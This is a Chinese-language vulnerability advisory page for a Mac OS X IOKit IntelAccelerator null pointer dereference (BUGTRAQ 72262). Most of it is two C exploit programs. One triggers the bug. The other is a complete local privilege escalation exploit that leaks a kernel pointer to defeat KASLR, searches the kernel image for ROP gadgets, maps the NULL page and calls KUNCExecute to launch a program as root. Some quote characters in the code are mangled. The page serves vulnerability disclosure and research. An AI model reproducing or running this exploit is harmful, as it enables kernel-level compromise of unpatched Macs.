Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / Apple Mac OS X IOKit IntelAccelerator空指针间接引用本地代码执行漏洞

发布日期:2015-01-20
更新日期:2015-01-23受影响系统:
Apple Mac OS X
描述:
BUGTRAQ  ID: 72262 OS X(前称Mac OS X)是苹果公司为麦金塔电脑开发的专属操作系统的最新版本。Apple Mac OS X 10.10.1及更早版本在实现上存在内存操作不当导致的代码执行漏洞,攻击者可利用此漏洞以提升的权限执行任意代码。<*来源:Google Security Research
 *>测试方法:警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
http://www.securityfocus.com/data/vulnerabilities/exploits/72262.c #include <fcntl.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h> #include <IOKit/IOKitLib.h> int main(){
 kern_return_t err; CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
 if(!matching){
   printf("unable to create service matching dictionary ");
   return 0;
 } io_iterator_t iterator;
 err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
 if (err != KERN_SUCCESS){
   printf("no matches ");
   return 0;
 } io_service_t service = IOIteratorNext(iterator); if (service == IO_OBJECT_NULL){
   printf("unable to find service ");
   return 0;
 }
 printf("got service: %x ", service); io_connect_t conn = MACH_PORT_NULL;
 err = IOServiceOpen(service, mach_task_self(), 2, &conn);
 if (err != KERN_SUCCESS){
   printf("unable to get user client connection ");
   return 0;
 }else{
   printf("got userclient connection: %x ", conn);
 } mach_vm_address_t addr = 0x414100000000;
 mach_vm_size_t size = 0x1000; err = IOConnectMapMemory(conn, 3, mach_task_self(), &addr, &size, kIOMapAnywhere);
 return 0;
 }http://www.securityfocus.com/data/vulnerabilities/exploits/72262_1.c // clang -o ig_2_3_exploit ig_2_3_exploit.c -framework IOKit -framework CoreFoundation -m32 -D_FORTIFY_SOURCE=0
 // ianbeer
 #include <stdint.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <sys/mman.h>
 #include <sys/stat.h>
 #include <unistd.h> #include <CoreFoundation/CoreFoundation.h>
 #include <IOKit/IOKitLib.h> uint64_t kernel_symbol(char* sym){
 char cmd[1024];
 strcpy(cmd, "nm -g /mach_kernel | grep ");
 strcat(cmd, sym);
 strcat(cmd, " | cut -d" " -f1");
 FILE* f = popen(cmd, "r");
 char offset_str[17];
 fread(offset_str, 16, 1, f);
 pclose(f);
 offset_str[16] = "x00"; uint64_t offset = strtoull(offset_str, NULL, 16);
 return offset;
 } uint64_t leaked_offset_in_kext(){
 FILE* f = popen("nm -g /System/Library/Extensions/IONDRVSupport.kext/IONDRVSupport | grep __ZTV17IONDRVFramebuffer | cut -d" " -f1", "r");
 char offset_str[17];
 fread(offset_str, 16, 1, f);
 pclose(f);
 offset_str[16] = "x00"; uint64_t offset = strtoull(offset_str, NULL, 16);
 offset += 0x10; //offset from symbol to leaked pointer
 return offset;
 }
 uint64_t leak(){
 io_iterator_t iter;
   
 CFTypeRef p = IORegistryEntrySearchCFProperty(IORegistryGetRootEntry(kIOMasterPortDefault),
                                                kIOServicePlane,
                                                CFSTR("AAPL,iokit-ndrv"),
                                                kCFAllocatorDefault,
                                                kIORegistryIterateRecursively); if (CFGetTypeID(p) != CFDataGetTypeID()){
   printf("expected CFData ");
   return 1;
 } if (CFDataGetLength(p) != 8){
   printf("expected 8 bytes ");
   return 1;
 } uint64_t leaked = *((uint64_t*)CFDataGetBytePtr(p));
 return leaked;
 } extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); uint64_t kext_load_addr(char* target_name){
 uint64_t addr = 0;
 CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL);
 CFIndex count = CFDictionaryGetCount(kd);
   
 void **keys;
 void **values;
   
 keys = (void **)malloc(sizeof(void *) * count);
 values = (void **)malloc(sizeof(void *) * count);
   
 CFDictionaryGetKeysAndValues(kd,
                                (const void **)keys,
                                (const void **)values); for(CFIndex i = 0; i < count; i++){
   const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman);
   if (strcmp(name, target_name) == 0){
     CFNumberGetValue(CFDictionaryGetValue(values[i],
                        CFSTR("OSBundleLoadAddress")),
                        kCFNumberSInt64Type,
                        &addr);
     printf("%s: 0x%016llx ", name, addr);
     break;
   }
 }
 return addr; } uint64_t load_addr(){
 uint64_t addr = 0;
 CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL);
 CFIndex count = CFDictionaryGetCount(kd);
   
 void **keys;
 void **values;
   
 keys = (void **)malloc(sizeof(void *) * count);
 values = (void **)malloc(sizeof(void *) * count);
   
 CFDictionaryGetKeysAndValues(kd,
                                (const void **)keys,
                                (const void **)values); for(CFIndex i = 0; i < count; i++){
   const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman);
   if (strcmp(name, "com.apple.iokit.IONDRVSupport") == 0){
     CFNumberGetValue(CFDictionaryGetValue(values[i],
                        CFSTR("OSBundleLoadAddress")),
                        kCFNumberSInt64Type,
                        &addr);
     printf("%s: 0x%016llx ", name, addr);
     break;
   }
 }
 return addr;
 } uint64_t* build_vtable(uint64_t kaslr_slide, size_t* len){
 uint64_t kernel_base = 0xffffff8000200000;
 kernel_base += kaslr_slide;
     
 int fd = open("/mach_kernel", O_RDONLY);
 if (!fd)
   return NULL; struct stat _stat;
 fstat(fd, &_stat);
 size_t buf_len = _stat.st_size; uint8_t* buf = mmap(NULL, buf_len, PROT_READ, MAP_FILE|MAP_PRIVATE, fd, 0); if (!buf)
   return NULL; /*
 this stack pivot to rax seems to be reliably present across mavericks versions:
   push rax
   add [rax], eax
   add [rbx+0x41], bl
   pop rsp
   pop r14
   pop r15
   pop rbp
   ret
 */
 uint8_t pivot_gadget_bytes[] = {0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e};
 uint8_t* pivot_loc = memmem(buf, buf_len, pivot_gadget_bytes, sizeof(pivot_gadget_bytes));
 uint64_t pivot_gadget_offset = (uint64_t)(pivot_loc - buf);
 printf("offset of pivot gadget: %p ", pivot_gadget_offset);
 uint64_t pivot = kernel_base + pivot_gadget_offset; /*
   pop rdi
   ret
 */
 uint8_t pop_rdi_ret_gadget_bytes[] = {0x5f, 0xc3};
 uint8_t* pop_rdi_ret_loc = memmem(buf, buf_len, pop_rdi_ret_gadget_bytes, sizeof(pop_rdi_ret_gadget_bytes));
 uint64_t pop_rdi_ret_gadget_offset = (uint64_t)(pop_rdi_ret_loc - buf);
 printf("offset of pop_rdi_ret gadget: %p ", pop_rdi_ret_gadget_offset);
 uint64_t pop_rdi_ret = kernel_base + pop_rdi_ret_gadget_offset;
   
 /*
   pop rsi
   ret
 */
 uint8_t pop_rsi_ret_gadget_bytes[] = {0x5e, 0xc3};
 uint8_t* pop_rsi_ret_loc = memmem(buf, buf_len, pop_rsi_ret_gadget_bytes, sizeof(pop_rsi_ret_gadget_bytes));
 uint64_t pop_rsi_ret_gadget_offset = (uint64_t)(pop_rsi_ret_loc - buf);
 printf("offset of pop_rsi_ret gadget: %p ", pop_rsi_ret_gadget_offset);
 uint64_t pop_rsi_ret = kernel_base + pop_rsi_ret_gadget_offset;
   
 /*
   pop rdx
   ret
 */
 uint8_t pop_rdx_ret_gadget_bytes[] = {0x5a, 0xc3};
 uint8_t* pop_rdx_ret_loc = memmem(buf, buf_len, pop_rdx_ret_gadget_bytes, sizeof(pop_rdx_ret_gadget_bytes));
 uint64_t pop_rdx_ret_gadget_offset = (uint64_t)(pop_rdx_ret_loc - buf);
 printf("offset of pop_rdx_ret gadget: %p ", pop_rdx_ret_gadget_offset);
 uint64_t pop_rdx_ret = kernel_base + pop_rdx_ret_gadget_offset; munmap(buf, buf_len);
 close(fd);
 /*
   in IOAcceleratorFamily2
   two locks are held - r12 survives the pivot, this should unlock all the locks from there:
 __text:0000000000006F80               lea   rsi, unk_32223
 __text:0000000000006F87               mov   rbx, [r12+118h]
 __text:0000000000006F8F               mov   rax, [rbx]
 __text:0000000000006F92               mov   rdi, rbx
 __text:0000000000006F95               xor   edx, edx
 __text:0000000000006F97               call    qword ptr [rax+858h]
 __text:0000000000006F9D               mov   rdi, rbx        ; this
 __text:0000000000006FA0               call    __ZN22IOGraphicsAccelerator211unlock_busyEv ; IOGraphicsAccelerator2::unlock_busy(void)
 __text:0000000000006FA5               mov   rdi, [rbx+88h]
 __text:0000000000006FAC               call    _IOLockUnlock
 __text:0000000000006FB1
 __text:0000000000006FB1 loc_6FB1:                             ; CODE XREF: IOAccelContext2::clientMemoryForType(uint,uint *,IOMemoryDescriptor **)+650j
 __text:0000000000006FB1               xor   ecx, ecx
 __text:0000000000006FB3               jmp   loc_68BC
 ...
 __text:00000000000068BC               mov   eax, ecx        ; jumptable 00000000000067F1 default case
 __text:00000000000068BE               add   rsp, 38h
 __text:00000000000068C2               pop   rbx
 __text:00000000000068C3               pop   r12
 __text:00000000000068C5               pop   r13
 __text:00000000000068C7               pop   r14
 __text:00000000000068C9               pop   r15
 __text:00000000000068CB               pop   rbp
 __text:00000000000068CC               retn
 */
 uint64_t unlock_locks = kext_load_addr("com.apple.iokit.IOAcceleratorFamily2") + kaslr_slide + 0x6f80; printf("0x%016llx ", unlock_locks); uint64_t KUNCExecute = kernel_symbol("_KUNCExecute") + kaslr_slide;
 uint64_t thread_exception_return = kernel_symbol("_thread_exception_return") + kaslr_slide;
   
 //char* payload = "/Applications/Calculator.app/Contents/MacOS/Calculator";
 char* payload = "/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal"; uint64_t rop_stack[] = {
   0,                //pop r14
   0,                //pop r15
   0,                //pop rbp  +10
   unlock_locks,
   pivot,            //+20  virtual call is rax+20
   0, //+10
   0, //+18
   0,
   0, //+28
   0,
   0, //+38
   0, //pop rbx
   0, //pop r12
   0, //pop r13
   0, //pop r14
   0, //pop r15
   0, //pop rbp
   pop_rdi_ret,
   (uint64_t)payload,
   pop_rsi_ret,
   0,
   pop_rdx_ret,
   0,
   KUNCExecute,
   thread_exception_return
 }; uint64_t* r = malloc(sizeof(rop_stack));
 memcpy(r, rop_stack, sizeof(rop_stack));
 *len = sizeof(rop_stack);
 return r;
 } void trigger(void* vtable, size_t vtable_len){
 //need to overallocate and touch the pages since this will be the stack:
 mach_vm_address_t addr = 0x41420000 - 10 * 0x1000;
 mach_vm_allocate(mach_task_self(), &addr, 0x20*0x1000, 0); memset(addr, 0, 0x20*0x1000);
 memcpy((void*)0x41420000, vtable, vtable_len); //map NULL page
 vm_deallocate(mach_task_self(), 0x0, 0x1000);
 addr = 0;
 vm_allocate(mach_task_self(), &addr, 0x1000, 0);
 char* np = 0;
 for (int i = 0; i < 0x1000; i++){
   np[i] = "A";
 } volatile uint64_t* zero = 0;
 *zero = 0x41420000; //trigger vuln
 CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
 io_iterator_t iterator;
 kern_return_t err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
   
 io_service_t service = IOIteratorNext(iterator);
 io_connect_t conn = MACH_PORT_NULL;
 err = IOServiceOpen(service, mach_task_self(), 2, &conn); addr = 0x12345000;
 mach_vm_size_t size = 0x1000; err = IOConnectMapMemory(conn, 3, mach_task_self(), &addr, &size, kIOMapAnywhere);
 } int main() {
 uint64_t leaked_ptr = leak();
 uint64_t kext_load_addr = load_addr(); // get the offset of that pointer in the kext:
 uint64_t offset = leaked_offset_in_kext(); // sanity check the leaked address against the symbol addr:
 if ( (leaked_ptr & 0xfff) != (offset & 0xfff) ){
   printf("the leaked pointer doesn"t match up with the expected symbol offset ");
   return 1;
 }
   
 uint64_t kaslr_slide = (leaked_ptr - offset) - kext_load_addr;
   
 printf("kaslr slide: %p ", kaslr_slide); size_t vtable_len = 0;
 void* vtable = build_vtable(kaslr_slide, &vtable_len); trigger(vtable, vtable_len); return 0;                         
 }建议:
厂商补丁:Apple
 -----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.apple.com/support/downloads/